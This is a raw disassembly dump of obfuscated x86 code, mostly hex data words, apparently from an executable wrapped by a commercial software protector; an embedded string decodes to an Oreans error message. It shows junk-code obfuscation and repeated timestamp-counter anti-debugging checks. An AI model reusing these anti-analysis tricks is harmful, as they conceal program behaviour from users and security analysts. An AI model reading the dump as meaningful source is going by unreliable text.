7D9AC503h, 122F5697h dd 0A5C2ED2Ch, 355285BFh, 95D98768h, 19132568h, 84C2E2C0h dd 0E00F3C59h, 8BC97299h, 0B7683260h, 0BB69C2E0h, 16C954FBh dd 0CF2B8D03h, 0E2C86590h, 0F8D275A8h, 4BF28FBAh, 5588C21Dh dd 739CD8B2h, 78A60837h, 955911AEh, 0D20B285Bh, 0A4D3107Ah dd 0A74AAC76h, 321CB0F9h, 97D6461Ch, 0D1253E6Ch, 0EF0E6891h dd 7CAA0C6Eh, 2032DEE4h, 6DE32413h, 0EC74C7D5h, 204EB039h dd 1AF1F5Ch, 1320E9BDh, 3B69CB41h, 0E93C8230h, 4CC21320h dd 6F2F46E3h, 9D0E6708h, 452620F3h, 48EDh, 176FB300h, 295604A7h dd 751C3200h, 0F497CA05h, 20300046h, 0B6188E13h, 0D0FB3913h dd 833BD8A2h, 2030D7EBh, 0AD872013h, 0AAE54170h, 0D0A5DA77h dd 26FD35DBh, 2B2B45h, 0C3F20000h, 0EF2D6705h, 1BCC96C4h dd 9A37C265h, 1AD5EE6Ch, 0C5E616C9h, 0C91A5717h, 44E15716h dd 0A043B30Bh, 31F77DF2h, 6E8B011Ch, 0AD176F40h, 47113F72h dd 2B9442E5h, 731C3219h, 0B37CFFDh, 6C13201Bh, 4204B2D3h dd 4C13201Bh, 710439D6h, 0A6D512ECh, 0D2662A09h, 2F7A4526h dd 40000000h, 0C91AD4EEh, 0D00DE716h, 0CA973A1h, 680B7BD3h dd 31F725BAh, 0C504DE1Ch, 641BFD9Ah, 2038F0B6h, 0E588FE13h dd 20387737h, 9F017713h, 0A17B5482h, 0D3023F60h, 4B79DBA5h dd 53ABE481h, 7C9240E3h, 0C21C3565h, 205A1E4Ch, 0B0EAD0EDh dd 0B7194483h, 66A47E89h, 0A6430D3Bh, 7A3A70ECh, 92B7F62Fh dd 2EF82655h, 9FDA9ECCh, 15397D2Bh, 4FC52768h, 51EEBFEDh dd 0CB8B3924h, 0D3276815h, 3255FB5Dh, 0F4276143h, 0D387751h dd 0A9E3C970h, 49844876h, 5D997316h, 9936002Eh, 0EF86FDE1h dd 2B487BB5h, 0A2DE0B45h, 197B4573h, 11BFE0EBh, 2768154Dh dd 457FDB51h, 7D1AE412h, 39Fh, 33A1DF00h, 2D5B82C2h, 0CEFC2F69h dd 72A0CB0Ah, 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh dd 0A4D2013Eh, 4775A4E0h, 5E545686h, 4C681h, 0EE830000h dd 24348704h, 7DEE685Ch, 14890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov edx, 71BC412Eh push edi mov edi, 19E5142Bh and edx, edi pop edi sub edx, 0BB7A95Bh push 58CAh mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], esi mov esi, edx mov [ecx+8], esi pop esi mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_5461C3 ; --------------------------------------------------------------------------- db 0D1h, 9Ah, 9Eh dd 25F5DFAFh, 84B8C573h, 305EC74h, 9E0FFC5h, 0A240C3D7h dd 93513716h, 85547F4Ch, 0E6034197h, 0EC34664Eh, 155B7EC7h dd 8E0F7968h, 4E4EE7D6h, 5A26DB6Dh, 0CD3A7D39h, 937B82CAh dd 9E04ED13h, 0E61A578Ch, 0E83CE7B5h, 11h, 0A394FEE4h dd 0AC0BDE99h, 0AC536221h, 5C0D3FA9h, 665EF9E2h, 0C681CF8Bh dd 7082h, 108478BBh, 1BE5682Dh, 0FE80000h, 59000000h, 59783F6Eh dd 3B37CCFCh, 818D6BFAh, 810F6DCFh, 0Ch, 6E8h, 0C93C3600h dd 589032D3h, 55BB5A59h, 8B72AC55h, 9840F3Eh, 60000000h dd 880FFCh, 61000000h, 7216F781h, 8A0F321Fh, 2, 0C781C28Bh dd 49F002B9h, 6E9h, 0B8519100h, 81099FC2h, 0BB9B5FEFh dd 89E18A4Ch, 0DA5ABB3Eh, 0EE831E78h, 14E904h, 573E0000h dd 81B1E5A1h, 3BDE090Bh, 0F65FF8B3h, 1F813DD8h, 0F4A06E1h dd 1485h, 38E900h, 0F22E0000h, 0CFB581B3h, 0BC876E51h dd 0C1FC3C1Bh, 10E9D0h, 3B9C0000h, 0C0D46CA9h, 3D65FCC0h dd 995766CCh, 70E9A71Ah, 0CDFFFFFFh, 0D4B823F3h, 0B706692Ch dd 0F1A20792h, 0E98AA9h, 4, 33000000h, 69206E41h, 7265746Eh dd 206C616Eh, 65637865h, 6F697470h, 636F206Eh, 65727563h dd 41282064h, 65726464h, 203A7373h, 78257830h, 500D0A29h dd 7361656Ch, 63202C65h, 61746E6Fh, 73207463h, 6F707075h dd 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h dd 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 1338h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 55C35040h, 0F93FEDBAh, 21D5858Bh, 6A05E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A09DDAC3h, 60030007h, 39BD89F8h, 6105E917h, 0FE9h dd 0EF7D5700h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch, 4244439h dd 65850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0BD092EC3h, 5E93179h, 0E09BD83h dd 0F0005E9h, 3684h, 1BD3100h, 8D05E91Fh, 0E939CF85h, 0E0FFF805h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h dd 0FCC0C0D4h, 0B5B58965h, 8B05E904h, 0E9003985h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0C9E15873h, 0A440FA8Eh, 6E9FBh, 0BD860000h, 6EC90121h dd 4244439h, 62850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DEF25BC3h, 853160AEh dd 5E91739h, 61FE8B66h, 18F0Fh, 0C7FC0000h, 0EC7A4685h dd 105h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0BEE2659Bh, 8D898193h, 5E90DB9h dd 10E960h, 0DDFD0000h, 0BD9CA592h, 4E2349CFh, 4FB50155h dd 24E96AA3h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2FCFC351h, 0F8C349h dd 0B8000000h, 1, 7BFE8587h, 0C00B05ECh, 0B5FFF675h, 5E90EE5h dd 7A3E858Fh, 206A05ECh, 95FFFF6Ah, 5E92675h, 2695BD83h dd 740005E9h, 0FF006A08h, 0E91E9595h, 95BD8305h, 105E930h dd 80680D74h, 6A000000h, 7595FFFFh, 6A05E926h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0E4FCC353h, 347D5A5Eh, 9E9F8FCh, 0AF000000h, 9911BB35h dd 74129B8Ch, 0D8E0Fh, 8E90000h, 7000000h, 0AE7CB40Dh dd 2B063BA3h, 548BF5C0h, 6A2824h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0FC42E7C3h, 18B0Fh, 89FC0000h dd 0E9310585h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 4DCA0B6Ch, 33BA60D2h dd 953ECBBh, 0E902BD95h, 3CBE6105h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 1159C350h, 0BB52E8AFh, 6850Fh, 0BD090000h, 5E90C99h dd 24247403h, 2B319589h, 0AD6605E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 8C35747h, 2B001F9Ah, 0CC5DF68Ah dd 24440306h, 81666024h, 8BFBD1D2h, 0E907B585h, 8B606105h dd 0E9112595h, 45BD8B05h, 6105E918h, 8E950h, 77350000h dd 0E0E00893h, 4892708h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 4DAAD48Eh, 896088B2h dd 0E92741B5h, 8B665705h, 0F6159CBh, 682h, 0CD958900h dd 8B05E90Dh, 6A7840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0DA5B6BC3h, 1AFAE887h, 83F8FCF8h dd 0EC7A46BDh, 850F0005h, 191h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 19C35747h, 0D4437422h, 0EAA99109h dd 0F50F527h, 1F83h, 19880F00h, 0E9000000h, 14h, 0D27F99A2h dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F4DC357h, 0A83h, 5E900h, 282E0000h, 0E9CDD0A1h dd 0Bh, 0A1C07BADh, 0F786DB78h, 8B92F0FBh, 6A2C2444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0FA5C355h, 0AAABFA7Bh, 0F9024FAh, 1284h, 0F525000h dd 81h, 50310F00h, 5A310F52h, 50585A58h, 56605250h, 8E85Fh dd 0A6130000h, 6E14BD4Bh, 6158340Ch, 840F310Fh, 0Dh, 8E9h dd 1DEB0C00h, 0B651E7B6h, 90585AC3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 36C35242h, 0E0778C35h, 0C850Fh dd 880F0000h, 6, 0FF99589h, 10E905E9h, 0E4000000h, 73BE425Fh dd 0E48D7414h, 1A3D5389h, 8DA50503h, 0EC484785h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0FA9C6CD1h, 6AD0FFF9h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 79FDC350h, 0F0816660h dd 0B58B8822h, 5E907D5h, 24440361h, 408BF528h, 51006A18h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 6806803Bh, 0B46D18A0h, 8589A29Ch, 5E924D5h, 55BD3140h dd 8905E90Bh, 0EC7A4285h, 108B0F05h, 0E9000000h, 0Bh, 430B93E8h dd 0C9FDEF9Dh, 58949252h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 54C35242h, 0C663337h, 0D0A030ACh, 890F6032h dd 6, 25558D89h, 0E96105E9h, 0Ch, 0FDF98DF3h, 0BFEE7B63h dd 8880236h, 6A78708Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6D24C352h, 891CC683h dd 0E9076D8Dh, 80609605h, 6EBA43D2h, 61157EB8h, 24247C81h dd 10000000h, 114870Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 3974D0C3h, 606090F8h dd 0C88BDE8Bh, 58505761h, 5050615Eh, 2880F52h, 60000000h dd 0E9310F61h, 0Fh, 0AD59BB3Dh, 0CCA54284h, 1E53946Eh dd 5AB21610h, 33609058h, 0E9129DB5h, 0F9BD8B05h, 6105E900h dd 2824448Bh, 19219D29h, 505005E9h, 9E952h, 341A0000h dd 1328E0C0h, 0F244735h, 5E536031h, 5A61F88Bh, 24048958h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8BC35747h dd 0C35B52C8h, 7A4BCE2h, 18F0F14h, 0F5000000h, 858DF8F9h dd 5EC4847h, 0DE9h, 8BEAA500h, 38E55E09h, 6EEA86C4h, 0D0FFEC0Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 82C35747h dd 0C78155CEh, 7D4815FEh, 8870Fh, 0F600000h, 0BF0FC7B7h dd 0F6061F7h, 68Ch, 35952B00h, 105E923h, 0E930998Dh, 6A966105h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 60FFC352h, 5F3DB452h, 10659D8Bh, 36105E9h dd 6A242474h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 51B1C352h, 37165F58h, 1BFBC055h dd 298D8960h, 0F05E932h, 8D61D2BFh, 0E91E61BDh, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0B86509D0h, 0CE94536h, 0DA000000h, 7436998Bh, 0E44F20B7h dd 0F9F14443h, 0F98D89ADh, 8105E906h, 24247Ch, 0F100000h dd 13C87h, 6830F00h, 89000000h, 0E92D2185h, 52509005h dd 52505250h, 585A310Fh, 8C0F310Fh, 0 dd 310F585Ah, 5E960h, 0ABCE0000h, 0BFB7EB3Eh, 372375A9h dd 50585A61h, 8A0F5250h, 2, 310F6160h, 810F60h, 0E9000000h dd 13h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh, 61F1A4C6h dd 0E990585Ah, 0Dh, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh, 24448B0Eh dd 52006A28h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0B5A3D097h, 10E919h, 0DB910000h, 734AE749h dd 4ECA9260h, 268152DEh, 858916ABh, 5E90479h, 8E990h, 85E00000h dd 7B027D5h, 6050E890h, 8B665250h, 0B9310FDEh, 5424EE31h dd 9061585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0C3C35747h, 0C8D0Fh, 800F0000h, 6, 810Fh, 858D0000h dd 5EC4847h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 40C35242h, 0C810Fh, 8F0F0000h, 6, 17B99D89h, 0D0FF05E9h dd 244403F8h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 9D8984A3h, 5E92645h, 158D2960h, 8905E90Dh dd 0E91CC19Dh, 0F9AB6105h, 0FA81h, 820F0001h, 7D0h, 99BD8DF9h dd 0E905E919h, 11h, 9BF943C7h, 0BE0C1889h, 0C3958815h dd 64D7BDF4h, 8E9D9h, 20320000h, 61E8F430h, 6AAD0B2Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C843C353h, 94280B7Ah, 0D9B589A5h, 6005E903h dd 1E05BD8Bh, 0B70F05E9h, 7C8161CAh, 2424h, 870F1000h dd 182h, 9E9h, 0D0B3B300h, 669B002Fh, 0F903E64h, 1883h dd 13E900h, 645D0000h, 6A9A85AFh, 0DC81CBBh, 8A7F013Fh dd 7B110D12h, 60605054h, 0CBD447BEh, 0AE84Fh, 10310000h dd 12F24723h, 5C5FDE05h, 9E9615Fh, 0A9000000h, 0AFABC5A7h dd 0B2B82162h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 8B9A8CC3h, 0EE6F0FD9h, 160482Bh dd 0E906BDB5h, 68E0F05h, 0F000000h, 8Dh, 14E96100h, 0C1000000h dd 452290E1h, 72B2DFB6h, 861F7020h, 0FB18AE43h, 8B3AC373h dd 89282444h, 0E904DD8Dh, 52509005h, 6850Fh, 8D0F0000h dd 0 dd 5250310Fh, 13E9h, 76FCDB00h, 304CD9h, 0DDA731D2h, 6EC1F284h dd 92FF0277h, 5250310Fh, 585A310Fh, 585A585Ah, 52506050h dd 0FDA8B66h, 0F18B6631h, 5660585Ah, 0F525058h, 61585A31h dd 8DF89061h, 0EC484785h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0BB337A20h dd 0FFC4627h, 1B8Ah, 15810F00h, 0E9000000h, 10h, 6621085Ah dd 943B7952h, 0C67742EEh, 0EF143C73h, 6AD0FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8B60BFC3h, 0E91299BDh, 0D38B6605h, 8E961h, 67E40000h dd 0B215088Eh, 4403B020h, 89602424h, 0E930459Dh, 6DB58B05h dd 6105E923h, 0E9525090h, 0Eh, 32FC3777h, 2D276873h, 1BEE5FE0h dd 310F51D6h, 860F5250h, 0 dd 7E9310Fh, 0A0000000h, 0B1D03522h, 585A4F06h, 6050585Ah dd 6E9h, 0D4A5DA00h, 500E941Bh, 0F5E5352h, 13E831h, 53130000h dd 8B0E26Fh, 10966097h, 1F6BFCDEh, 0A7004B2Bh, 585A58A2h dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0E59F4EC3h, 0F9B7CAFh, 68Ch, 9D858900h, 0AB05E92Ah dd 1DCD8D09h, 0BD8D05E9h, 5E91669h, 13E9h, 306CC500h, 0D39078E0h dd 63EB2AEBh, 0D9E148C9h, 3B3AC915h, 52006AADh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 12A4F46h, 0E921DD95h dd 247C8105h, 28h, 0C9870F10h, 0F000000h, 685h, 8D8D0900h dd 5005E91Eh, 880F5250h, 2, 310F6160h, 7E9h, 0F03F3600h dd 0A1895216h, 489585Ah, 19D3124h, 8B05E909h, 0F2C2444h dd 183h, 0E990F900h, 0Fh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h dd 504A0BECh, 0E8E0Fh, 52500000h, 310F6160h, 310F5250h dd 585A585Ah, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0B63C7537h, 0D9CD1800h, 0ADB58929h dd 3105E906h, 0E9102DBDh, 858DF905h, 5EC4847h, 88A0Fh dd 840F0000h, 2, 60606160h, 7E9h, 45CB6F00h, 0F5637705h dd 799D8961h, 6105E926h, 9529D0FFh, 5E91749h, 28244403h dd 1CC1BD29h, 29AB05E9h, 0E921D9BDh, 8DFF5E05h, 5EC7A42h dd 7A42BD83h, 750005ECh, 8DC0330Ah, 0EC8AD8B5h, 56E6FF05h dd 247C81ADh, 28h, 500E7710h, 2C24448Bh, 47858D50h, 0FF05EC48h dd 244403D0h, 0DF8B9728h, 7A3E858Ah, 0C08405ECh, 73A0474h dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h dd 85FF04C6h, 5E93105h, 0FFFF5DE9h, 95295EFFh, 5E91DFDh dd 8BF56060h, 0E9033195h, 0BF0F6105h, 858B61C7h, 5E93105h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 3CC35545h dd 0A98509B0h, 0F05E903h, 680h, 81B58900h, 0D105E925h dd 0EA8060E0h, 0ED1CBED6h, 3612FCAh, 0E9166985h, 0BEF905h dd 0F8000000h, 7820F96h, 0F000000h, 187h, 0AD66F800h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 75C35646h, 0FE67330h dd 684h, 79B50100h, 0C105E90Fh, 6A02E0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0E0B10C3h dd 42CE39F6h, 60102D17h, 75F9C681h, 0F2816655h, 23DACFF3h dd 61850361h, 6A05E91Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 1A55C355h, 8F768AABh dd 8E9h, 79B14D00h, 0A8E50E98h, 0EE996F0h, 5000000h, 4FCDDE03h dd 0AA95E9ABh, 0C78C25A4h, 6AADF583h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 79EC353h dd 81FFAF3Eh, 24247Ch, 0F100000h, 15887h, 6800F00h, 89000000h dd 0E90B019Dh, 830F9005h, 12h, 52505250h, 585A310Fh, 8D0F310Fh dd 0 dd 0E950585Ah, 14h, 8B17B017h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh dd 38971045h, 0D860F90h, 0E9000000h, 8, 36E62F86h, 23BBEFEBh dd 2824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 58C35141h, 750DCE4Ah, 13E9h, 0DC27E100h, 0A5B2584Eh dd 55E297Ch, 7E3C7D92h, 0E41B04EEh, 128B0F90h, 50000000h dd 840F52h, 0F000000h, 0F525031h, 5A585A31h, 0E9605058h dd 11h, 1DDD234h, 39C0A36Dh, 0BB053120h, 34D295C1h, 0BE818h dd 36FF0000h, 0A3BB6F42h, 615DDDB6h, 0DE98Ah, 0FCAC0000h dd 0DA7B2FD1h, 0D7D37CA7h, 5ECA6EAAh, 6A9061h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 977508C3h, 48027647h, 14840Fh, 8B600000h, 0E903E585h dd 6E805h, 9C360000h, 21FFE7A4h, 858D6158h, 5EC4847h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CBC35646h, 0FD0FFF8h dd 688h, 0CDB53100h, 905E916h, 0E90221BDh, 24440305h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 7D505AD3h, 7003D762h, 9D89F2F8h, 5E90819h, 244489F5h dd 85C6F51Ch, 5E90EE5h, 0FE85C700h, 5EC7Bh, 0C7000000h dd 0EC7A4685h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F542CCD9h, 1D699509h dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0F8FC6AC3h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 3126D616h dd 0E92DC18Dh, 0C5BD8905h, 0C205E919h, 0BD310008h, 5E91045h dd 1E61858Bh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 7777C9C3h, 65BD09F5h, 4A05E916h dd 2729B589h, 0D26B05E9h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 5E9EAECh, 0F0000000h dd 602E08A1h, 60F9C203h, 0C64ED381h, 9D8964FFh, 5E906ADh dd 0ADF59661h, 1FBB6660h, 6840F8Dh, 89000000h, 0E90CFD95h dd 7C816105h, 2424h, 870F1000h, 159h, 0BE9h, 93998E00h dd 995C92AAh, 0EDF2B8E1h, 11890Fh, 0CE90000h, 7B000000h dd 1D1D90C2h, 0DA98F548h, 9066FE26h, 0FE95250h, 65000000h dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 310F1D63h, 9E960h dd 0D16C0000h, 0A967A53Fh, 66774B10h, 6132ADBEh, 5050585Ah dd 6850F52h, 0F000000h, 84h, 50310F00h, 9E952h, 5E7D0000h dd 7C7AFB31h, 0FB1ADB4h, 11E931h, 135A0000h, 9B96CD2Fh dd 0CB2411ACh, 0F60AF8D8h, 5A881DDDh, 90585A58h, 30598589h dd 448B05E9h, 66602824h, 61067BBEh, 8830F50h, 0F000000h dd 28Ah, 89616000h, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0CAD85DC3h, 0EE8F960h dd 33000000h, 8CB8AB20h, 2B97C9E8h, 11E45583h, 99B5898Ch dd 5E05E90Ch, 47858D61h, 6A05EC48h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DBF1C356h dd 6009E5E9h, 8B6610B5h, 0D0FF61F7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 1EC35242h, 0EEB9D738h, 5325150Dh dd 0E8B0F19h, 0E9000000h, 9, 8543E2Ah, 0E7FE09EBh, 0FD4BE9A9h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 9F84E8C3h, 4866279Bh, 31852914h, 0FC05E916h dd 904B858Dh, 0B52905ECh, 5E92AADh, 50525050h, 0F525052h dd 0F585A31h, 14E931h, 0C13A0000h, 0BF7BF266h, 786099FDh dd 0AD18E010h, 609CD20Dh, 585A1965h, 5060310Fh, 5A310F52h dd 61616058h, 489585Ah, 0BE924h, 698E0000h, 0A38CC120h dd 7115B111h, 35FF6448h, 0 dd 81DF8060h, 24048B61h, 8810Fh, 81600000h, 6CEB18C8h dd 8589613Bh, 5E90ACDh, 30659529h, 896405E9h, 25h, 858DF800h dd 5EC8E82h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 2DC35747h, 309640FCh, 8E9EAh, 0E30B0000h, 7A1299DFh dd 6089690Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 1BFD2161h, 17A79B1Fh, 0A18D8938h dd 0E905E91Ch, 205h, 0E8DB8BFCh, 0 dd 7BED815Dh, 0BC05EC8Eh, 12FF9Ch, 3095BD83h, 740005E9h dd 55858B18h, 0C605E930h, 858B0000h, 5E92FD9h, 0FF0000C6h dd 0E9176195h, 0B5FF6005h, 5EC764Ah, 764E858Dh, 8D5005ECh dd 0EC784685h, 95FF5005h, 5E903A5h, 610CC483h, 88A0Fh dd 850F0000h, 2, 6A6160h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 4B5718C3h, 0F870Fh, 0AE90000h dd 9D000000h, 0B5632F1h, 6346E4A4h, 46B58D7Ah, 0F05EC78h dd 0C83h, 6830F00h, 0F000000h, 86h, 0D9BD8D00h, 6A05E913h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 295BC357h, 0E927F98Dh, 3E8005h, 65840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 11E90FC3h, 8B000000h, 0D0CB9C6Bh, 14B54477h dd 605376A6h, 75489DB2h, 50006AA4h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0C2ACD66Ch, 9D89A18Bh dd 5E91F45h, 0FFFF98E9h, 0D19509FFh, 2B05E923h, 0B70F60C0h dd 6800FD1h, 81000000h, 0F484BEE2h, 6AAA615Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0B8A4C357h, 7B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0F5BE4970h, 66D85C7h dd 105E9h, 9D890000h, 5E92579h, 4E6D8D8Dh, 0FFF805E9h dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 46421761h, 9529FCA1h, 5E92715h, 0C245C8Bh dd 0E855h, 815D0000h, 0EC9055EDh, 0B8838B05h, 89000000h dd 0EC764A85h, 74858D05h, 8905EC8Eh, 0B883h, 0C0335D00h dd 12840FC3h, 0E9000000h, 0Dh, 0F8AFAF8h, 4726F596h, 107B5DDFh dd 56006A0Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E9A7E244h, 0Eh, 0C224027Ah, 18DDD3h, 27ED122Ah dd 6A60E558h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E704C355h, 19858D9Fh, 6A05EC93h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0F3FEC350h, 0B9A1232Ah, 41D8D29h, 505005E9h dd 12880F52h, 0E9000000h, 0Dh, 0AA6B09BEh, 0A0CF9E3Ah dd 85AD4039h, 0E9310F10h, 0Eh, 0EE55C9Eh, 0A7E3D3A8h, 122787EFh dd 585A0C68h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 858EC352h, 35FF64B3h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E2C35646h dd 89CBE780h, 0E9166D85h, 25896405h, 0 dd 91858DF9h, 0F05EC93h, 0C81h, 6890F00h, 29000000h, 0E924C99Dh dd 1608905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0C35040h, 0E9186C6Dh, 13h, 0AC5A3765h, 0E251FB46h dd 4883F072h, 0B3A0C9EBh, 0C61FEFCFh, 0E90EE585h, 85314F05h dd 5E92F69h, 4E8h, 0C8742A00h, 128D0FFEh, 0E9000000h, 0Dh dd 2299CF0Dh, 0FF3692F4h, 0EE603FA6h, 0BE95096h, 3A000000h dd 0E15F99C2h, 0E36EB5C6h, 448B6510h, 8D0F0424h, 17h, 61605250h dd 0AE9310Fh, 0CF000000h, 0F6ADE321h, 1BF5DD1Eh, 8B585A97h dd 0E8A0F00h, 0E9000000h, 9, 0F1E34551h, 4F6A1698h, 2444890Eh dd 13E904h, 0E2E0000h, 0EF83A523h, 9D9A56C3h, 0EBD02FE0h dd 0CE5B2FB1h, 6A584Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 9F5C98C3h, 0FDB5FF23h, 905E91Eh dd 0E905A99Dh, 6F858D05h, 6A05EC7Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4E65C355h dd 0DE9EE07h, 7B000000h, 0B13B44BDh, 3188D11Fh, 0B81E6BFDh dd 2231BD01h, 0D0FF05E9h, 0A8E9FCh, 6A0000h, 3E855h, 5D200000h dd 